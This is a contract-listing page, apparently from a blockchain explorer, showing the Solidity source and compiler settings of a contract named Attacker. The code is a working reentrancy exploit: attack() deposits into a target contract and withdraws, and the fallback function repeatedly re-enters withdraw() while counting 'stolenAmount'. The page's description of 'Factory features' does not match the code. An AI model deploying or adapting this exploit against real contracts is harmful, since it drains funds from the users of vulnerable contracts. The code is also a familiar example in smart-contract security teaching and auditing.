Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"attacker.sol": {
"content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Define the interface of the target contract
interface ITarget {
function deposit(address) external payable;
function withdraw(uint256) external;
}
contract Attacker {
address public target;
uint256 public stolenAmount;
constructor(address _target) {
target = _target;
}
function attack() public payable {
// Cast `target` to the interface and call `deposit`
ITarget(target).deposit{value: msg.value}(0xEFA606dA1867c18F72AD75aa79cA3f37Ec94C208);
// Call `withdraw` via the interface
ITarget(target).withdraw(msg.value);
}
fallback() external payable {
if (address(this).balance >= 1 ether) {
ITarget(target).withdraw(1 ether);
stolenAmount += 1 ether;
}
}
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-05 17:08:50
Comments
Log in to comment.
No comments yet.